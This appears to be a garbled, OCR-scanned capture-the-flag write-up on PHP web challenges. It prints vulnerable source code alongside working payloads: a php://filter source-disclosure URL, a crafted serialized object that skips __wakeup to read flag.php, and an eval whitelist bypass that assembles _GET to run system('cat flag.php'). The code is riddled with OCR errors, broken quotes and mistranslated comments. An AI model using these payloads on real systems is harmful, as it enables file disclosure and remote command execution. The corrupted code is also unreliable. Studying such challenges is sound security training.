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/index.php?file=php://filter/read=convert.base64-encode/resource=index.php

<?php

error_reporting(0);

$file = $_GET["file"];

$payload = $_GET["payload"];

if (lisset($file)) {
echo 'Missing parameter' . '<br>';

}

if (preg_match("/flag/", $file)) {
die('hack attacked!!!");
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}
@include ($file);
if (isset($payload)) {
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'], $query);
foreach ($query as $value) {
if (preg_match("/flag/", $value)) {
die('stop hacking!');
exit();

B R R R R R R R R
VW 0 N O VT A W N R

}

N
(W]

}

$payload = unserialize($payload);
} else {

echo "Missing parameters"”;
}
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1 <?php

2 class Handle{

3 private $handle;

4 public function __wakeup(){

5  foreach(get_object_vars($this) as $k => $v) {
6 $this->$k = null;

7 }

8 echo "Waking up\n";

9 3}
10 public function __construct($handle) {
11 $this->handle = $handle;
12 }

13 public function __destruct(){
14  $this->handle->getFlag();

15 }

16 }

17

18 class Flag{

19 public $file;

20 public $token;

21 public $token_flag;

22

23 function __construct($file){

24  $this->file = $file;

25  $this->token_flag = $this->token = md5(rand(1,10000));
26 }

27

28 public function getFlag(){

29  $this->token_flag = md5(rand(1,10000));

30 if($this->token === $this->token_flag)
31 |

32 if(isset($this->file)){

33 echo @highlight file($this->file,true);

34 }

35 }

36 }

37 }

38 >
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Jelass Flag{
public Sfile;
public Stoken;
public Stoken flag:

E function __ construct(sfile) {
Sthis->file = Sfile;
——ep 5this->token flag = $this->token = mdS5(rand (1, 10000));
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0:6:"Handle":1:{s:14:"%0@0Handle%@Ohandle";0:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

_wakeup()geid
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0:6:"Handle":2:{s:14:"%0@0Handle%@Ohandle";0:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}

B % payload A :

///index.php?file=hint.php&payload=0:6:"Handle":2:{s:14:"%0@OHandle%@Ohandle";0:4:"Flag":3:
{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
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1 <?php

2 error_reporting(0);

3 //WRMRENRE Y, ARERETEEMEEflag
4 if(lisset($_GET['c'])){

5 show_source(__FILE_);

6 }else{

7 //BIF c=20-1

8 $content = $_GET['c'];

9 if (strlen($content) >= 80) {
10 die("KKTRELE");
11 }
12 $blacklist = [" ", "\t', "\r', "\n',"\""', """, ", \[', \]1'D,
13 foreach ($blacklist as $blackitem) {
14 if (preg_match('/"' . $blackitem . '/m', $content)) {
15 die("BEAEMANTHEERFER");
16 }
17 }
18 //E R ERHhttp: //www.w3school.com.cn/php/php_ref_math.asp
19 $whitelist = ['abs', 'acos', 'acosh', 'asin', ‘'asinh', 'atan2', ‘'atan', 'atanh', 'base_convert’,

'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', ‘'decoct', 'deg2rad', 'exp', 'expml', 'floor', 'fmod',
'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'logl@', 'loglp', 'log',
'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round',
'sin', 'sinh', 'sqrt', ‘'srand', 'tan', 'tanh'];

20 preg match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_B-9\x7f-\xff]*/"', $content, $used_funcs);
21 foreach ($used_funcs[@] as $func) {

22 if (!in_array($func, $whitelist)) {
23 die("BEAEMAFTHFEENEL");
24 }

25 }

26 /I FREHER

27 eval('echo '.$content."';");

28 }
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% payload:

c=$pow%3Dbase_convert(37907361743,10,36) (dechex(1598506324)); ($$pow) {0} (($$pow)
{1})8&0=system&l=cat%20flag.php
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dechex(1598506324 )15 £ ¥)/2_GET i#17hexgmt IE
base_convert(37907361743,10,36)43 2 i) & & $thex2bin
cHIMEE X T $pow=_GET, #4$$pow=$ GET

BJE HATHIARIS NS GET{system}($_GET{cat flag.php})
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